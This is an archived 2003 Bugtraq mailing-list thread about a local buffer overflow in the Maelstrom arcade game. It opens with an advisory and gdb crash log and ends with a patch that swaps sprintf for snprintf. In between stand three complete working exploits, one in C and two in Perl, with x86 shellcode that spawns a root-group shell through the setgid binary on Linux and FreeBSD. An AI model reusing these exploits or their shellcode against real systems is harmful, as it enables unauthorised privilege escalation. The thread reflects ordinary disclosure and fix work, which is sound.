101923 2003-05-19  23:09  /44 rader/ Luca Ercoli <luca.ercoli@inwind.it>
Importerad: 2003-05-19  23:09  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4941>
Ärende: Maelstrom Buffer Overflow
------------------------------------------------------------


Maelstrom is an arcade game. There is a buffer overflow vulnerability
in  Maelstrom which allow local attacker  arbitrary code execution.

Vulnerable systems: Maelstrom 3.0.6
		    Maelstrom 3.0.5

Example:
 
[lucae@linux]$ gdb /usr/bin/Maelstrom 

GNU gdb 5.2.1-2mdk (Mandrake Linux) Copyright 2002 Free Software
Foundation, Inc.  GDB is free software, covered by the GNU General
Public License, and you  are welcome to change it and/or distribute
copies of it under certain  conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.  Type "show
warranty" for details.  This GDB was configured as
"i586-mandrake-linux-gnu"...

(gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`
(gdb) r

Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD"
x  9999'` Couldn't resolve host name for ABCDABC......ABCD

Program received signal SIGSEGV, Segmentation fault.
0x41444342 in ?? ()

(gdb) Quit



Note: -rwxr-sr-x    1 root     games      171568 19 feb 
03:38 /usr/bin/Maelstrom   in Linux Professional 9.0



Luca Ercoli luca.ercoli@inwind.it
(101923) /Luca Ercoli <luca.ercoli@inwind.it>/(Ombruten)
102007 2003-05-20  17:40  /102 rader/ Claes Nyberg <md0claes@mdstud.chalmers.se>
Importerad: 2003-05-20  17:40  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4948>
Kommentar till text 101923 av Luca Ercoli <luca.ercoli@inwind.it>
Ärende: Maelstrom exploit
------------------------------------------------------------

-- begin maelstromxp.c

/*
 * Maelstrom exploit By CMN <cmn@darklab.org>
 *
 * Tested on
 *
 * Maelstrom v1.4.3 (GPL version 3.0.6)
 *  from Maelstrom-3.0.6-1.i386.rpm
 *
 * Maelstrom v1.4.3 (Linux version 3.0.3)
 *  from Gentoo port
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

#define TARGET    "/usr/bin/Maelstrom"
#define BUFSIZE    8179
#define NOP        0x90
#define OFFSET     100

static char linux_code[] =
    "\xb9\xff\xff\xff\xff" /* movl    $-1, %ecx   */
    "\x31\xc0"             /* xorl    %eax, %eax  */
    "\xb0\x31"             /* movb    $0x31, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x89\xc3"             /* movl    %eax, %ebx  */
    "\xb0\x46"             /* movb    $0x46, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x31\xc0"             /* xorl    %eax, %eax  */
    "\xb0\x32"             /* movb    $0x32, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x89\xc3"             /* movl    %eax, %ebx  */
    "\xb0\x47"             /* movb    $0x47, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x31\xd2"             /* xorl    %edx, %edx  */
    "\x52"                 /* pushl   %edx        */
    "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
    "\x89\xe3"             /* movl    %esp, %ebx  */
    "\x52"                 /* pushl   %edx        */
    "\x53"                 /* pushl   %ebx        */
    "\x89\xe1"             /* movl    %esp, %ecx  */
    "\xb0\x0b"             /* movb    $0xb, %al   */
    "\xcd\x80"             /* int     $0x80       */
    "\x31\xc0"             /* xorl    %eax, %eax  */
    "\x40"                 /* inc     %eax        */
    "\xcd\x80";            /* int     $0x80       */

int
main(int argc, char *argv[])
{
    int ret = (u_long)(&ret);
    u_char *target = TARGET;
    u_char buf[BUFSIZE+1];
    long offset = 0;
    int i;

    memset(buf, NOP, BUFSIZE);
    buf[BUFSIZE] = '\0';
    buf[0] = '2';
    buf[1] = '@';
    memcpy(&buf[BUFSIZE-(strlen(linux_code)+4*sizeof(ret))],
        linux_code, strlen(linux_code));

    while ( (i = getopt(argc, argv, "t:o:")) != -1) {

        switch(i) {
            case 't':
                target = optarg;

            case 'o':
                offset = strtol(optarg, NULL, 0);
                break;

            default:
                printf("\nUsage: %s [-t target ] [-o offset]\n\n", argv[0]);
                exit(EXIT_FAILURE);
        }
    }

    ret -= offset ? offset : OFFSET;
    memcpy(&buf[BUFSIZE-(sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[BUFSIZE-(2*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[BUFSIZE-(3*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[BUFSIZE-(4*sizeof(ret))], &ret, sizeof(ret));

    printf("Using address 0x%08lx\n", ret);
    printf("Target is '%s'\n", target);
    execlp(target, "CMN", "-server", buf, (char *)NULL);
    perror("execle()");
    exit(EXIT_FAILURE);
}

-- end maelstromxp.c
(102007) /Claes Nyberg <md0claes@mdstud.chalmers.se>/
102028 2003-05-20  19:14  /13 rader/ akcess . <akcss@linuxmail.org>
Importerad: 2003-05-20  19:14  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4952>
Ärende: Maelstrom Local Buffer Overflow Exploit
------------------------------------------------------------
Local exploit for /usr/bin/Maelstrom due to insufficient bounds
checking of the -player cmd line arg.

See attached proof-of-concept exploit.


-akcess
-- 
______________________________________________
http://www.linuxmail.org/
Now with e-mail forwarding for only US$5.95/yr

Powered by Outblaze
(102028) /akcess . <akcss@linuxmail.org>/-(Ombruten)
Bilaga (application/octet-stream) i text 102029
102029 2003-05-20  19:14  /33 rader/ akcess . <akcss@linuxmail.org>
Bilagans filnamn: "maelx.pl"
Importerad: 2003-05-20  19:14  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4953>
Bilaga (text/plain) till text 102028
Ärende: Bilaga (maelx.pl) till: Maelstrom Local Buffer Overflow Exploit
------------------------------------------------------------
#!/usr/bin/perl -w
#
# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
#
# This code exploits the -player overflow which i discovered after
# reading the initial advisory detailing  the -server  overflow by
# Luca Ercoli
#
# [ akcess@linuxmail.org ] - *21/05/03*


$sc = "\x90"x1500; # write stdout "akcess wuz here..."; execve
/bin/sh; exit;
 $sc .=
"\x31\xc0\x31\xdb\x31\xd2\x53\x68\x2e\x2e\x20\x0a\x68\x65\x72\x65";
$sc .=
"\x2e\x68\x75\x7a\x20\x68\x68\x73\x73\x20\x77\x68\x61\x6b\x63\x65";
$sc .=
"\x89\xe1\xb2\x18\xb0\x04\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68";
$sc .=
"\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24";
$sc .= "\xb0\x0b\xcd\x80";

$ENV{'SC'} = $sc;

$offset = "0";
$ret = 0xbffff9ee;


for ($i = 0; $i < (8177 - 4); $i++) {
    $buf .= "\x90";
}


$buf .= pack('l', ($ret + $offset));

print("Using return address: 0x", sprintf('%lx',($ret +
$offset)),"\n");
 exec("/usr/bin/Maelstrom -player 1\@'$buf'");
(102029) /akcess . <akcss@linuxmail.org>/-(Ombruten)
102049 2003-05-20  22:42  /28 rader/ Knud Erik Højgaard <kain@ircop.dk>
Importerad: 2003-05-20  22:42  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: full-disclosure@lists.netsys.com
Mottagare: Bugtraq (import) <4958>
Ärende: Maelstrom Local Buffer Overflow Exploit, FreeBSD 4.8 edition
------------------------------------------------------------
hey, it's maelort.pl.
#!/usr/bin/perl
# kokanin/DSR, gid games crap for /usr/ports/games/maelstrom -server bug
found by
# Luca Ercoli. This (ret/offset/shellcode) is made for FreeBSD 4.8-RELEASE.
# maelstrom-3.0.5     Asteroids-style game for X Window System
# shellcode by eSDee, he's cool. AV crap + .pl files + mailinglists ==
flooded mbox #¤%
$len = 1000;
$ret = pack("l",0xbfbffb7f);
$nop = "\x90";
$offset = 0;
$shellcode =    "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
                "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
                "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

for ($i = 0; $i < $len - length($shellcode); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
local($ENV{'EGG'}) = $buffer;
$cakeman = "1\@A" . $ret x 255 ;
exec("/usr/X11R6/bin/Maelstrom  -server $cakeman");

--
kokanin
(102049) /Knud Erik Højgaard <kain@ircop.dk>/-------
102197 2003-05-21  18:54  /394 rader/ Andrew Church <achurch@achurch.org>
Importerad: 2003-05-21  18:54  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4965>
Kommentar till text 102049 av Knud Erik Højgaard <kain@ircop.dk>
Ärende: Maelstrom bugfix (was Maelstrom Local Buffer Overflow Exploit, FreeBSD 4.8 edition)
------------------------------------------------------------
     Am I the only one who thinks it odd to see so many exploits but
no fixes for the problem?

  --Andrew Church
    achurch@achurch.org
    http://achurch.org/

---------------------------------------------------------------------------
[NOTE: this patch is just a methodical replacement of sprintf() on
       fixed-size buffers with snprintf(), and includes some places, like
       "%d" into a 128-byte buffer, that obviously won't overflow--but hey,
       paranoia is good for you.]

diff -ur Maelstrom-3.0.6-orig/controls.cpp
Maelstrom-3.0.6/controls.cpp
--- Maelstrom-3.0.6-orig/controls.cpp	2001-03-25 03:04:28 +0900
+++ Maelstrom-3.0.6/controls.cpp	2003-05-21 11:25:53 +0900
@@ -83,7 +83,7 @@
 	if ( fname ) {
 		*fname = datafile;
 	}
-	sprintf(datafile,  "%s"DIR_SEP"%s", home, MAELSTROM_DATA);
+	snprintf(datafile, sizeof(datafile), "%s"DIR_SEP"%s", home, MAELSTROM_DATA);
 	if ( (data=fopen(datafile, mode)) == NULL )
 		return(NULL);
 	return(data);
diff -ur Maelstrom-3.0.6-orig/dialog.h Maelstrom-3.0.6/dialog.h
--- Maelstrom-3.0.6-orig/dialog.h	2001-07-21 00:08:10 +0900
+++ Maelstrom-3.0.6/dialog.h	2003-05-21 11:24:33 +0900
@@ -92,7 +92,7 @@
 		va_list ap;
 
 		va_start(ap, fmt);
-		vsprintf(errbuf, fmt, ap);
+		vsnprintf(errbuf, sizeof(errbuf), fmt, ap);
 		va_end(ap);
 		errstr = errbuf;
         }
@@ -878,7 +878,7 @@
 		if ( entry->text ) {
 			Fontserv->FreeText(entry->text);
 		}
-		sprintf(buf, "%d", *entry->variable);
+		snprintf(buf, sizeof(buf), "%d", *entry->variable);
 
 		if ( entry->hilite ) {
 			clear = Fg;
diff -ur Maelstrom-3.0.6-orig/load.cpp Maelstrom-3.0.6/load.cpp
--- Maelstrom-3.0.6-orig/load.cpp	2000-02-15 11:47:39 +0900
+++ Maelstrom-3.0.6/load.cpp	2003-05-21 11:26:18 +0900
@@ -81,7 +81,7 @@
 	SDL_Surface *bmp, *title;
 	
 	/* Open the title file -- we know its colormap is our global one */
-	sprintf(file, "Images"DIR_SEP"Maelstrom_Titles#%d.bmp",
title_id);
+	snprintf(file, sizeof(file), "Images"DIR_SEP"Maelstrom_Titles#%d.bmp", title_id);
 	bmp = SDL_LoadBMP(path.Path(file));
 	if ( bmp == NULL ) {
 		return(NULL);
@@ -103,7 +103,7 @@
 	Uint16 w, h;
 	
 	/* Open the cicn sprite file.. */
-	sprintf(file, "Images"DIR_SEP"Maelstrom_Icon#%hd.cicn",
cicn_id);
+	snprintf(file, sizeof(file), "Images"DIR_SEP"Maelstrom_Icon#%hd.cicn", cicn_id);
 	if ( (cicn_src=SDL_RWFromFile(path.Path(file), "r")) == NULL ) {
 		error("GetCIcon(%hd): Can't open CICN %s: ",
 					cicn_id, path.Path(file));
diff -ur Maelstrom-3.0.6-orig/maclib/Mac_FontServ.h
Maelstrom-3.0.6/maclib/Mac_FontServ.h
--- Maelstrom-3.0.6-orig/maclib/Mac_FontServ.h	1999-12-03 02:15:33
+0900
+++ Maelstrom-3.0.6/maclib/Mac_FontServ.h	2003-05-21 11:28:43 +0900
@@ -135,7 +135,7 @@
 		va_list ap;
 
 		va_start(ap, fmt);
-		vsprintf(errbuf, fmt, ap);
+		vsnprintf(errbuf, sizeof(errbuf), fmt, ap);
 		va_end(ap);
 		errstr = errbuf;
 	}
diff -ur Maelstrom-3.0.6-orig/maclib/Mac_Resource.h Maelstrom-3.0.6/maclib/Mac_Resource.h
--- Maelstrom-3.0.6-orig/maclib/Mac_Resource.h	1999-12-04 03:01:47
+0900
+++ Maelstrom-3.0.6/maclib/Mac_Resource.h	2003-05-21 11:28:35 +0900
@@ -96,7 +96,7 @@
 		va_list ap;
 
 		va_start(ap, fmt);
-		vsprintf(errbuf, fmt, ap);
+		vsnprintf(errbuf, sizeof(errbuf), fmt, ap);
 		va_end(ap);
 		errstr = errbuf;
 	}
diff -ur Maelstrom-3.0.6-orig/maclib/Mac_Sound.h Maelstrom-3.0.6/maclib/Mac_Sound.h
--- Maelstrom-3.0.6-orig/maclib/Mac_Sound.h	2002-10-20 11:53:34
+0900
+++ Maelstrom-3.0.6/maclib/Mac_Sound.h	2003-05-21 11:28:27 +0900
@@ -199,7 +199,7 @@
 		va_list ap;
 
 		va_start(ap, fmt);
-		vsprintf(errbuf, fmt, ap);
+		vsnprintf(errbuf, sizeof(errbuf), fmt, ap);
 		va_end(ap);
 		errstr = errbuf;
 	}
diff -ur Maelstrom-3.0.6-orig/maclib/Mac_Wave.h Maelstrom-3.0.6/maclib/Mac_Wave.h
--- Maelstrom-3.0.6-orig/maclib/Mac_Wave.h	2000-01-26 01:44:10
+0900
+++ Maelstrom-3.0.6/maclib/Mac_Wave.h	2003-05-21 11:28:20 +0900
@@ -108,7 +108,7 @@
 		va_list ap;
 
 		va_start(ap, fmt);
-		vsprintf(errbuf, fmt, ap);
+		vsnprintf(errbuf, sizeof(errbuf), fmt, ap);
 		va_end(ap);
 		errstr = errbuf;
 	}
diff -ur Maelstrom-3.0.6-orig/maclib/macres.cpp Maelstrom-3.0.6/maclib/macres.cpp
--- Maelstrom-3.0.6-orig/maclib/macres.cpp	2000-01-26 01:44:20
+0900
+++ Maelstrom-3.0.6/maclib/macres.cpp	2003-05-21 11:30:01 +0900
@@ -58,8 +58,8 @@
 				ids[j], res->ResourceName(types[i], ids[j]));
 			if ( argv[2] ) {
 				char path[23];
-				sprintf(path,"%s/%s:%hu", argv[2],
-							types[i], ids[j]);
+				snprintf(path, sizeof(path), "%s/%s:%hu",
+					 argv[2], types[i], ids[j]);
 				FILE *output;
 				Mac_ResData *D;
             			if ( (output=fopen(path, "w")) !=
NULL ) { diff -ur Maelstrom-3.0.6-orig/maclib/snd2wav.cpp
Maelstrom-3.0.6/maclib/snd2wav.cpp
--- Maelstrom-3.0.6-orig/maclib/snd2wav.cpp	2001-03-28 12:54:50
+0900
+++ Maelstrom-3.0.6/maclib/snd2wav.cpp	2003-05-21 11:29:23 +0900
@@ -82,7 +82,7 @@
 			continue;
 		}
 		wave.Load(snd, rate);
-		sprintf(wavname, "snd_%d.wav", ids[i]);
+		snprintf(wavname, sizeof(wavname), "snd_%d.wav", ids[i]);
 		wave.Save(wavname);
 	}
 	delete macx;
diff -ur Maelstrom-3.0.6-orig/main.cpp Maelstrom-3.0.6/main.cpp
--- Maelstrom-3.0.6-orig/main.cpp	2002-10-20 11:53:32 +0900
+++ Maelstrom-3.0.6/main.cpp	2003-05-21 11:27:02 +0900
@@ -445,7 +445,7 @@
 		DrawText(xOff+309-7, yOff+240-6, text, geneva, STYLE_BOLD,
 							0x00, 0x00, 0x00);
 	}
-	sprintf(text, "%d", gSoundLevel);
+	snprintf(text, sizeof(text), "%d", gSoundLevel);
 	DrawText(xOff+309-7, yOff+240-6, text, geneva, STYLE_BOLD,
 						30000>>8, 30000>>8, 0xFF);
 	screen->Update();
@@ -547,11 +547,11 @@
 		}
 		DrawText(xOff+5, botDiv+42+(index*18), hScores[index].name,
 						font, STYLE_BOLD, R,
G, B);
-		sprintf(buffer, "%u", hScores[index].score);
+		snprintf(buffer, sizeof(buffer), "%u", hScores[index].score);
 		sw = fontserv->TextWidth(buffer, font, STYLE_BOLD);
 		DrawText(sRt-sw, botDiv+42+(index*18), buffer, 
 						font, STYLE_BOLD, R,
G, B);
-		sprintf(buffer, "%u", hScores[index].wave);
+		snprintf(buffer, sizeof(buffer), "%u", hScores[index].wave);
 		sw = fontserv->TextWidth(buffer, font, STYLE_BOLD);
 		DrawText(wRt-sw, botDiv+42+(index*18), buffer, 
 						font, STYLE_BOLD, R, G, B);
@@ -560,7 +560,7 @@
 
 	DrawText(xOff+5, botDiv+46+(10*18)+3, "Last Score: ", 
 					bigfont, STYLE_NORM, 0xFF,
0xFF, 0xFF);
-	sprintf(buffer, "%d", GetScore());
+	snprintf(buffer, sizeof(buffer), "%d", GetScore());
 	sw = fontserv->TextWidth("Last Score: ", bigfont, STYLE_NORM);
 	DrawText(xOff+5+sw, botDiv+46+(index*18)+3, buffer, 
 					bigfont, STYLE_NORM, 0xFF,
0xFF, 0xFF); diff -ur Maelstrom-3.0.6-orig/myerror.cpp
Maelstrom-3.0.6/myerror.cpp
--- Maelstrom-3.0.6-orig/myerror.cpp	1998-07-14 10:50:17 +0900
+++ Maelstrom-3.0.6/myerror.cpp	2003-05-21 11:23:33 +0900
@@ -16,7 +16,7 @@
 	va_list ap;
 
 	va_start(ap, fmt);
-	vsprintf(mesg, fmt, ap);
+	vsnprintf(mesg, sizeof(mesg), fmt, ap);
 	fputs(mesg, stderr);
 	va_end(ap);
 }
@@ -27,7 +27,7 @@
 	va_list ap;
 
 	va_start(ap, fmt);
-	vsprintf(mesg, fmt, ap);
+	vsnprintf(mesg, sizeof(mesg), fmt, ap);
 	fputs(mesg, stdout);
 	va_end(ap);
 }
@@ -37,7 +37,7 @@
 	char buffer[BUFSIZ];
 
 	if ( *msg ) {
-		sprintf(buffer, "%s: %s\n", msg, strerror(errno));
+		snprintf(buffer, sizeof(buffer), "%s: %s\n", msg, strerror(errno));
 		error(buffer);
 	} else
 		error((char *)strerror(errno)); diff -ur
Maelstrom-3.0.6-orig/netlogic/game.cpp
Maelstrom-3.0.6/netlogic/game.cpp
--- Maelstrom-3.0.6-orig/netlogic/game.cpp	2001-07-23 11:24:03
+0900
+++ Maelstrom-3.0.6/netlogic/game.cpp	2003-05-21 11:33:19 +0900
@@ -232,7 +232,7 @@
 
 			lastDisplayed = gDisplayed;
 			screen->FillRect(0, 0, SCREEN_WIDTH, 12,
ourBlack);
-			sprintf(caption,
+			snprintf(caption, sizeof(caption),
 				"You are player %d --- displaying player %d",
 						gOurPlayer+1, gDisplayed+1);
 			DrawText(SPRITES_WIDTH, 11, caption, geneva,
@@ -357,7 +357,7 @@
 				/* -- Erase old and draw new score */
 				screen->FillRect(45, gStatusLine+1,
 					score_width, text_height,
ourBlack);
-				sprintf(numbuf, "%d", Score);
+				snprintf(numbuf, sizeof(numbuf), "%d", Score);
 				score_width = DrawText(45, gStatusLine+11, 
 						numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
@@ -380,7 +380,7 @@
 		if (lastWave != gWave) {
 			screen->FillRect(255, gStatusLine+1,
 					wave_width, text_height,
ourBlack);
-			sprintf(numbuf, "%d", gWave);
+			snprintf(numbuf, sizeof(numbuf), "%d", gWave);
 			wave_width = DrawText(255, gStatusLine+11, 
 					numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
@@ -391,7 +391,7 @@
 		if (lastLives != Lives) {
 			screen->FillRect(319, gStatusLine+1,
 					lives_width, text_height,
ourBlack);
-			sprintf(numbuf, "%-3.1d", Lives);
+			snprintf(numbuf, sizeof(numbuf), "%-3.1d", Lives);
 			lives_width = DrawText(319, gStatusLine+11,
 					numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
@@ -402,7 +402,7 @@
 		if (lastBonus != Bonus) {
 			screen->FillRect(384, gStatusLine+1,
 					bonus_width, text_height,
ourBlack);
-			sprintf(numbuf, "%-7.1d", Bonus);
+			snprintf(numbuf, sizeof(numbuf), "%-7.1d", Bonus);
 			bonus_width = DrawText(384, gStatusLine+11,
 					numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
@@ -414,7 +414,7 @@
 			if (lastFrags != Frags) {
 				screen->FillRect(fragoff, gStatusLine+1,
 					frags_width, text_height,
ourBlack);
-				sprintf(numbuf, "%-3.1d", Frags);
+				snprintf(numbuf, sizeof(numbuf), "%-3.1d", Frags);
 				frags_width = DrawText(fragoff, gStatusLine+11,
 						numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
@@ -747,10 +747,11 @@
 		for ( i=0; i<gNumPlayers; ++i ) {
 			char buffer[BUFSIZ], num1[12], num2[12];
 
-			sprintf(num1, "%7.1d", final[i].Score);
-			sprintf(num2, "%3.1d", final[i].Frags);
-			sprintf(buffer, "Player %d: %-.7s Points, %-.3s Frags",
-						final[i].Player, num1, num2);
+			snprintf(num1, sizeof(num1), "%7.1d", final[i].Score);
+			snprintf(num2, sizeof(num2), "%3.1d", final[i].Frags);
+			snprintf(buffer, sizeof(buffer),
+				 "Player %d: %-.7s Points, %-.3s Frags",
+				 final[i].Player, num1, num2);
 			DrawText(160, 380+i*newyork_height, buffer,
 				newyork, STYLE_NORM, 30000>>8, 30000>>8, 0xFF);
 		}
@@ -898,7 +899,7 @@
 	
 
 	/* -- Draw the wave completed message */
-	sprintf(numbuf, "Wave %d completed.", gWave);
+	snprintf(numbuf, sizeof(numbuf), "Wave %d completed.", gWave);
 	sw = fontserv->TextWidth(numbuf, geneva, STYLE_BOLD);
 	x = (SCREEN_WIDTH - sw) / 2;
 	DrawText(x,  150, numbuf, geneva, STYLE_BOLD, 0xFF, 0xFF, 0x00);
@@ -935,7 +936,7 @@
 		if (OurShip->GetBonusMult() != 1) {
 			SDL_Surface *sprite;
 
-			sprintf(numbuf, "%-5.1d", OurShip->GetBonus());
+			snprintf(numbuf, sizeof(numbuf), "%-5.1d", OurShip->GetBonus());
 			DrawText(x, 200, numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
 			x += 75;
@@ -951,10 +952,10 @@
 	Delay(SOUND_DELAY);
 	sound->PlaySound(gFunk, 5);
 
-	sprintf(numbuf, "%-5.1d", OurShip->GetBonus());
+	snprintf(numbuf, sizeof(numbuf), "%-5.1d", OurShip->GetBonus());
 	bonus_width = DrawText(x, 200, numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF,
0xFF);
-	sprintf(numbuf, "%-5.1d", OurShip->GetScore());
+	snprintf(numbuf, sizeof(numbuf), "%-5.1d", OurShip->GetScore());
 	score_width = DrawText(xt, 220, numbuf, geneva, STYLE_BOLD,
 							0xFF, 0xFF, 0xFF);
 	screen->Update();
@@ -997,12 +998,12 @@
 	
 			screen->FillRect(x, 200-text_height+2,
 					bonus_width, text_height,
ourBlack);
-			sprintf(numbuf, "%-5.1d", OurShip->GetBonus());
+			snprintf(numbuf, sizeof(numbuf), "%-5.1d", OurShip->GetBonus());
 			bonus_width = DrawText(x, 200, numbuf,
 					geneva, STYLE_BOLD, 0xFF, 0xFF, 0xFF);
 			screen->FillRect(xt, 220-text_height+2,
 					score_width, text_height,
ourBlack);
-			sprintf(numbuf, "%-5.1d", OurShip->GetScore());
+			snprintf(numbuf, sizeof(numbuf), "%-5.1d", OurShip->GetScore());
 			score_width = DrawText(xt, 220, numbuf,
 					geneva, STYLE_BOLD, 0xFF, 0xFF, 0xFF);
 
@@ -1015,7 +1016,7 @@
 	HandleEvents(10);
 
 	/* -- Draw the "next wave" message */
-	sprintf(numbuf, "Prepare for Wave %d...", gWave+1);
+	snprintf(numbuf, sizeof(numbuf), "Prepare for Wave %d...", gWave+1);
 	sw = fontserv->TextWidth(numbuf, geneva, STYLE_BOLD);
 	x = (SCREEN_WIDTH - sw)/2;
 	DrawText(x, 259, numbuf, geneva, STYLE_BOLD, 0xFF, 0xFF,
0x00); diff -ur Maelstrom-3.0.6-orig/netlogic/netplay.cpp
Maelstrom-3.0.6/netlogic/netplay.cpp
--- Maelstrom-3.0.6-orig/netlogic/netplay.cpp	2002-10-20 13:11:52
+0900
+++ Maelstrom-3.0.6/netlogic/netplay.cpp	2003-05-21 11:31:43 +0900
@@ -670,7 +670,9 @@
 		strcpy(message, "Waiting for players:");
 		for ( i=0; i<gNumPlayers; ++i ) {
 			if ( ! acked[i] )
-				sprintf(&message[strlen(message)], " %d", i+1);
+				snprintf(&message[strlen(message)],
+					 sizeof(message)-strlen(message),
+					 " %d", i+1);
 		}
 		Message(message);
 
@@ -725,7 +727,7 @@
 			/* Check the player... */
 			if ( (i != gOurPlayer) && (netbuf[1] == gOurPlayer) ) {
 				/* Print message, sleep 3 seconds absolutely */
-				sprintf(message, 
+			  snprintf(message, sizeof(message),
 	"Error: Another player (%d) thinks they are player 1!\r\n", i+1);
 				ErrorMessage(message);
 				/* Suck up retransmission packets */
diff -ur Maelstrom-3.0.6-orig/netscore.cpp Maelstrom-3.0.6/netscore.cpp
--- Maelstrom-3.0.6-orig/netscore.cpp	2001-07-23 12:25:17 +0900
+++ Maelstrom-3.0.6/netscore.cpp	2003-05-21 11:27:18 +0900
@@ -59,7 +59,7 @@
 
 	/* Send the scores */
 	crc = get_checksum(key, KEY_LEN);
-	sprintf(netbuf, SCOREFMT, crc, high.name, high.score,
high.wave);
+	snprintf(netbuf, sizeof(netbuf), SCOREFMT, crc, high.name, high.score, high.wave);
 	SDLNet_TCP_Send(remote, netbuf, strlen(netbuf));
 	n = SDLNet_TCP_Recv(remote, netbuf, 1024);
 	if ( n > 0 ) { diff -ur
Maelstrom-3.0.6-orig/screenlib/SDL_FrameBuf.cpp
Maelstrom-3.0.6/screenlib/SDL_FrameBuf.cpp
--- Maelstrom-3.0.6-orig/screenlib/SDL_FrameBuf.cpp	2001-07-23
06:03:13 +0900
+++ Maelstrom-3.0.6/screenlib/SDL_FrameBuf.cpp	2003-05-21 11:31:01 +0900
@@ -628,7 +628,7 @@
 
 		found = 0;
 		for ( which=0; !found; ++which ) {
-			sprintf(file, "%s%d.bmp", prefix, which);
+			snprintf(file, sizeof(file), "%s%d.bmp", prefix, which);
 			if ( ((fp=fopen(file, "r")) == NULL) &&
 			     ((fp=fopen(file, "w")) != NULL) ) {
 				found = 1; diff -ur
Maelstrom-3.0.6-orig/screenlib/SDL_FrameBuf.h
Maelstrom-3.0.6/screenlib/SDL_FrameBuf.h
--- Maelstrom-3.0.6-orig/screenlib/SDL_FrameBuf.h	2000-09-25
02:55:39 +0900
+++ Maelstrom-3.0.6/screenlib/SDL_FrameBuf.h	2003-05-21 11:27:41 +0900
@@ -165,7 +165,7 @@
 		va_list ap;
 
 		va_start(ap, fmt);
-		vsprintf(errbuf, fmt, ap);
+		vsnprintf(errbuf, sizeof(errbuf), fmt, ap);
 		va_end(ap);
 		errstr = errbuf;
         }
(102197) /Andrew Church <achurch@achurch.org>/(Ombruten)